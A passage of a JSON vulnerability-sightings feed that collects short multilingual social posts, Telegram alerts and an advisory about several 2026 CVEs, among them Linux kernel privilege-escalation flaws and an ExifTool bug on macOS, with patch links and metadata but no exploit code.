\u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31635\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Lutfifakee-Project\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-20 08:14:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit for DirtyDecrypt - CVE-2026-31635 Local Privilege Escalation\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-20T09:00:05.000000Z"}, {"uuid": "ba0d4ee1-9048-45c5-951a-91853990563b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://bsky.app/profile/bontchev.infosec.exchange.ap.brid.gy/post/3mmbuwmkndv22", "content": "Lulz. An RCE from an image? Image metadata, to be precise? In ExifTool, which is supposed to display the image metadata. Only on Macs, though.\n\n\"How an image could compromise your Mac: understanding an ExifTool vulnerability (CVE-2026-3102)\":\n\nhttps://securelist.com/exiftool-compromise-mac/119866/", "creation_timestamp": "2026-05-20T12:14:44.524473Z"}, {"uuid": "f1877563-a3d8-4ff5-99ff-4499a09b59d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmbwq5aw2g23", "content": "~Kaspersky~\nA critical flaw in ExifTool allows arbitrary command execution on macOS via malicious image metadata.\n-\nIOCs: CVE-2026-3102\n-\n#CVE20263102 #ThreatIntel #macOS", "creation_timestamp": "2026-05-20T12:45:38.855276Z"}, {"uuid": "8e29f68d-2e16-472c-8015-f39cf8387a57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://bsky.app/profile/rmcholewa.bsky.social/post/3mmbz3x74ia2y", "content": "DirtyDecrypt PoC Released for Linux Kernel CVE-2026-31635 LPE Vulnerability thehackernews.com/2026/05/dirt...", "creation_timestamp": "2026-05-20T13:28:03.185176Z"}, {"uuid": "5681bcef-0045-4126-a1be-98789c0eca4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31802", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmc3hklk2m2e", "content": "\ud83d\udd17 CVE : CVE-2026-22029, CVE-2026-22732, CVE-2026-24734, CVE-2026-24880, CVE-2026-25639, CVE-2026-26960, CVE-2026-29062, CVE-2026-29129, CVE-2026-29145, CVE-2026-29146, CVE-2026-29786, CVE-2026-31802, CVE-2026-33750, CVE-2026-34483, CVE-2026-34487", "creation_timestamp": "2026-05-20T14:10:21.619260Z"}, {"uuid": "804783d1-5a44-436c-87fc-afb01e14dd96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://t.me/bdufstecru/3180", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 rxgk_verify_response() \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 rxrpc \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u0434\u043b\u0438\u043d\u044b. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\n\nBDU:2026-07086\nCVE-2026-31635\n\n\u0412 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c\u0441\u044f \"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c LINUX\", \u0438\u0437\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0432 \u043c\u0435\u0442\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435 \u0424\u0421\u0422\u042d\u041a \u0420\u043e\u0441\u0441\u0438\u0438, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u043c 25 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\n\u0414\u043b\u044f Linux:\nhttps://git.kernel.org/stable/c/a2567217ade970ecc458144b6be469bc015b23e5\nhttps://git.kernel.org/stable/c/beee051f259acd286fed64c32c2b31e6f5097eb5\nhttps://git.kernel.org/stable/c/e2f1a80d8b1ed6a5ae585a399c2b46500bdcc305\n\n\u0414\u043b\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Red Hat Inc.:\nhttps://access.redhat.com/security/cve/cve-2026-31635\n\n\u0414\u043b\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Ubuntu:\nhttps://ubuntu.com/security/CVE-2026-31635\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439;\n- \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435/\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439;\n- \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 \u0430\u0443\u0434\u0438\u0442\u0430 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430 \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.", "creation_timestamp": "2026-05-20T14:49:12.000000Z"}, {"uuid": "64bbe920-ab66-45c1-a8dd-6b00ec379c70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmcca5sgio26", "content": "~Cybergcca~\nCCCS issued 5 advisories, including a critical F5 NGINX flaw and updates for Chrome, HPE, FreePBX, and cPanel.\n-\nIOCs: CVE-2026-8711, CVE-2026-31431\n-\n#Patch #ThreatIntel #Vulnerability", "creation_timestamp": "2026-05-20T16:11:27.852941Z"}, {"uuid": "692c96f9-863e-4055-84ef-19ab28bfc250", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/hpe-security-advisory-av26-487", "content": "", "creation_timestamp": "2026-05-20T08:29:08.000000Z"}, {"uuid": "73e7afb7-4074-4afa-98c2-5e285dc0bcc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31852", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mmcip2b7x72f", "content": "CVE-2026-31852 - Critical supply chain attack in Jellyfin iOS. GitHub Actions workflow allows repo takeover, secret exfiltration, and App Store poisoning. CVSS 10. UNPATCHED. Disable workflow immediately. #CVE #jellyfin #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-31852/", "creation_timestamp": "2026-05-20T18:07:09.531198Z"}, {"uuid": "3caae6ab-9fc6-4ebc-ad8c-eab7e2d8fb7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mmcukk2goc2y", "content": "Linux \u30ab\u30fc\u30cd\u30eb\u306e\u6c5a\u308c\u305f\u30d5\u30e9\u30b0 LPE \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306f\u3001\u4e3b\u8981\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u5168\u4f53\u3067\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u3092\u53ef\u80fd\u306b\u3057\u307e\u3059\n\nLinux \u30ab\u30fc\u30cd\u30eb\u306b\u5f71\u97ff\u3092\u53ca\u307c\u3059\u65b0\u3057\u3044\u672a\u4fee\u6b63\u306e\u30ed\u30fc\u30ab\u30eb\u7279\u6a29\u30a8\u30b9\u30ab\u30ec\u30fc\u30b7\u30e7\u30f3\uff08LPE\uff09\u8106\u5f31\u6027\u306b\u95a2\u3059\u308b\u8a73\u7d30\u304c\u660e\u3089\u304b\u306b\u306a\u308a\u307e\u3057\u305f\u3002\n\nDirty Frag \u3068\u547c\u3070\u308c\u308b\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306f\u3001\u6700\u8fd1\u516c\u8868\u3055\u308c\u305f LPE \u306e\u6b20\u9665\u3067\u3042\u308b Linux \u30ab\u30fc\u30cd\u30eb\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u3001\u305d\u306e\u5f8c\u91ce\u751f\u3067\u7a4d\u6975\u7684\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b Copy Fail\uff08CVE-2026-31431\u3001CVSS \u30b9\u30b3\u30a2: 7.8\uff09\u306e\u5f8c\u7d99\u3068\u3057\u3066\u8a18\u8ff0\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u8106\u5f31\u6027\u306f2026\u5e744\u670830\u65e5\u306bLinux\u30ab\u30fc\u30cd\u30eb\u306e\u30e1\u30f3\u30c6\u30ca\u30fc\u306b\u5831\u544a\u3055\u308c\u307e\u3057\u305f", "creation_timestamp": "2026-05-20T21:39:29.264810Z"}, {"uuid": "fad14352-6eac-4a21-8723-8a0991b4fd13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mmcwvd576k2a", "content": "Copy Fail:\nFrom Pod to Host.\nA walkthrough of Copy Fail (CVE-2026-31431) as a container escape primitive: from a 4-byte page cache write to host root on Kubernetes. xint.io/blog/copy-fa...", "creation_timestamp": "2026-05-20T22:22:48.238744Z"}, {"uuid": "22fb173b-9813-4b19-a769-2f34b8e76710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/eEkK6PVbdDfglsyujSuxBWIZjJpDuh84Njq8yhH-Zu1Cfr8", "content": "", "creation_timestamp": "2026-05-18T03:00:06.000000Z"}, {"uuid": "5759774d-18d9-4dba-9bf0-0ade3f5ba0b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/x3hQR0-UI2JUxQyjcWHc5kHBpfVh3Jms4Hr2XANxyksqy3E", "content": "", "creation_timestamp": "2026-05-18T09:00:04.000000Z"}, {"uuid": "6d827a27-9371-4c36-b055-f601181cf703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/QUF9weJLwCd1qHdTEuhp0UyLZi4jvqqQc5vVfkezLkJSkiA", "content": "", "creation_timestamp": "2026-05-19T03:00:06.000000Z"}, {"uuid": "b78d661d-6c94-4332-b237-43c1cda00201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "published-proof-of-concept", "source": "Telegram/xh4XcnfPk8jKp2qpT8jzWwwvaCwZdGZH1ZOpAikcTE7X2rw", "content": "", "creation_timestamp": "2026-05-20T03:00:06.000000Z"}, {"uuid": "a792da45-2b49-44a0-b266-b097263cf116", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/zNPCcRZLVUnG7MzXxuguKud9BYCf7Gj51sr3J84x37QbILk", "content": "", "creation_timestamp": "2026-05-20T09:00:05.000000Z"}, {"uuid": "c2908591-54bd-443c-bba4-0ccf48f27767", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "published-proof-of-concept", "source": "Telegram/zNPCcRZLVUnG7MzXxuguKud9BYCf7Gj51sr3J84x37QbILk", "content": "", "creation_timestamp": "2026-05-20T09:00:05.000000Z"}, {"uuid": "b307baeb-57b7-4b86-b188-03925911235c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "published-proof-of-concept", "source": "Telegram/LRuVHO_NRtLslMv_pxl3JYoJM5ygIHd_ktikilExPtpHxGM", "content": "", "creation_timestamp": "2026-05-20T15:00:07.000000Z"}, {"uuid": "a20cb897-8b58-422b-b420-a7f0c0393b00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mme4sbjytx2n", "content": "How a single image takes control of a Mac understanding an ExifTool vulnerability (CVE-2026-3102)", "creation_timestamp": "2026-05-21T09:39:32.623449Z"}, {"uuid": "b001c169-5126-4b26-a955-639fa91a94e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3141", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mrz2nwgknd2g", "content": "WordPress\u30d7\u30e9\u30b0\u30a4\u30f3FormGent 1.9.2\u4ee5\u524d\u3067\u3001\u8a8d\u8a3c\u306a\u3057\u306b\u4efb\u610f\u30d5\u30a1\u30a4\u30eb\u524a\u9664\u304c\u53ef\u80fd\u3002wp-config.php\u3082\u524a\u9664\u3055\u308c\u3001\u30b5\u30a4\u30c8\u4e57\u3063\u53d6\u308a\u306e\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\nCVE-2026-3141 CVSS 9.1 | CRITICAL", "creation_timestamp": "2026-08-01T08:33:11.988636Z"}, {"uuid": "bf95b445-1500-41ad-8b6d-9584cbb7c1c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/jmjm.mstdn.social.ap.brid.gy/post/3mmebc5r4pce2", "content": "I missed this news a week ago, but holy cow, this kernel exploit should be causing a general panic.\n\nhttps://jorijn.com/en/blog/copy-fail-cve-2026-31431-linux-kernel-bug-explained/", "creation_timestamp": "2026-05-21T11:01:06.008171Z"}, {"uuid": "cf2a3788-008e-4f6f-a33f-726c0b94a435", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/ubMxN9VMabMrJ7rvptmD8NbSolwJbrtCzhuDoQkI-rmXIlM", "content": "", "creation_timestamp": "2026-08-05T00:00:08.748842Z"}, {"uuid": "017ed276-77dc-4143-93e8-7c5701d28032", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://t.me/GithubRedTeam/85221", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31635-DirtyDecrypt\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xFuffM3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-21 12:59:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-21T13:00:05.000000Z"}, {"uuid": "d6dfd797-eac3-4d68-a5f4-c086890c3794", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/fluery.dev/post/3mmeohlhmi222", "content": "\u0440\u0435\u0448\u0438\u043b\u0430 \u043f\u043e\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441 CVE-2026-31431, \u043d\u0430\u0448\u043b\u0430 \u0441\u043a\u0440\u0438\u043f\u0442, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043d\u0430 \u0441\u0432\u043e\u0435\u043c \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 (Proxmox \u0445\u043e\u0441\u0442) \u0438 \u043f\u043e\u043d\u044f\u043b\u0430, \u0447\u0442\u043e \u043e\u043d \u0443\u044f\u0437\u0432\u0438\u043c ;(\n\n\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043a\u0438 \u0438\u0437 \u0438\u043d\u0435\u0442\u0430 \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0435\u0433\u043e \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u0438\u043b\u0430\u043c\u0438 \u0438 +-\u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0430, \u043a\u0430\u043a \u043e\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u0443\u0441\u0442\u044c \u0438 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u043d\u043e...", "creation_timestamp": "2026-05-21T14:55:42.456401Z"}, {"uuid": "9f41cefa-8c27-42cf-82a7-ba71371da0fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/fluery.dev/post/3mmeohlhqf222", "content": "\u0440\u0435\u0448\u0438\u043b\u0430 \u043f\u043e\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441 CVE-2026-31431, \u043d\u0430\u0448\u043b\u0430 \u0441\u043a\u0440\u0438\u043f\u0442, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043d\u0430 \u0441\u0432\u043e\u0435\u043c \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 (Proxmox \u0445\u043e\u0441\u0442) \u0438 \u043f\u043e\u043d\u044f\u043b\u0430, \u0447\u0442\u043e \u043e\u043d \u0443\u044f\u0437\u0432\u0438\u043c ;(\n\n\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043a\u0438 \u0438\u0437 \u0438\u043d\u0435\u0442\u0430 \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0435\u0433\u043e \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u0438\u043b\u0430\u043c\u0438 \u0438 +-\u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0430, \u043a\u0430\u043a \u043e\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u0443\u0441\u0442\u044c \u0438 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u043d\u043e...", "creation_timestamp": "2026-05-21T14:55:42.989187Z"}, {"uuid": "e66e7f60-5bba-4d30-8ced-15f0c8acbd4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/fluery.dev/post/3mmeohmdquk22", "content": "\u0440\u0435\u0448\u0438\u043b\u0430 \u043f\u043e\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441 CVE-2026-31431, \u043d\u0430\u0448\u043b\u0430 \u0441\u043a\u0440\u0438\u043f\u0442, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043d\u0430 \u0441\u0432\u043e\u0435\u043c \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 (Proxmox \u0445\u043e\u0441\u0442) \u0438 \u043f\u043e\u043d\u044f\u043b\u0430, \u0447\u0442\u043e \u043e\u043d \u0443\u044f\u0437\u0432\u0438\u043c ;(\n\n\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043a\u0438 \u0438\u0437 \u0438\u043d\u0435\u0442\u0430 \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0435\u0433\u043e \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u0438\u043b\u0430\u043c\u0438 \u0438 +-\u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0430, \u043a\u0430\u043a \u043e\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u0443\u0441\u0442\u044c \u0438 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u043d\u043e...", "creation_timestamp": "2026-05-21T14:55:43.593287Z"}, {"uuid": "01a99ac2-e05c-486b-8ee5-1ef95e2d24ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://infosec.exchange/users/threatcodex/statuses/116613280334065989", "content": "How an image could compromise your Mac: understanding an ExifTool vulnerability (CVE-2026-3102)#CVE_2026_3102 https://securelist.com/exiftool-compromise-mac/119866/", "creation_timestamp": "2026-05-21T15:30:47.128610Z"}, {"uuid": "f76e024e-ba91-4861-834f-6d69403efb79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3141", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrz4oylinm2g", "content": "CVE-2026-3141: \u05d7\u05d5\u05dc\u05e9\u05d4 \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea \u05d1\u05e4\u05dc\u05d0\u05d2\u05d9\u05df FormGent \u05e9\u05dc \u05d5\u05d5\u05e8\u05d3\u05e4\u05e8\u05e1 \u05de\u05d0\u05e4\u05e9\u05e8\u05ea \u05de\u05d7\u05d9\u05e7\u05ea \u05e7\u05d1\u05e6\u05d9\u05dd \u05dc\u05dc\u05d0 \u05d4\u05e8\u05e9\u05d0\u05d4\n\n\n\nhttps://khesef.xyz/posts/CF3A9208-A7B7-45FA-9AD2-D664A32A3BDF", "creation_timestamp": "2026-08-01T09:09:35.344720Z"}, {"uuid": "04529f38-b3bf-4e6c-b329-2fbb26443f13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3141", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrz4ufkct42p", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3141 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 FormGent: \u043a\u0430\u043a 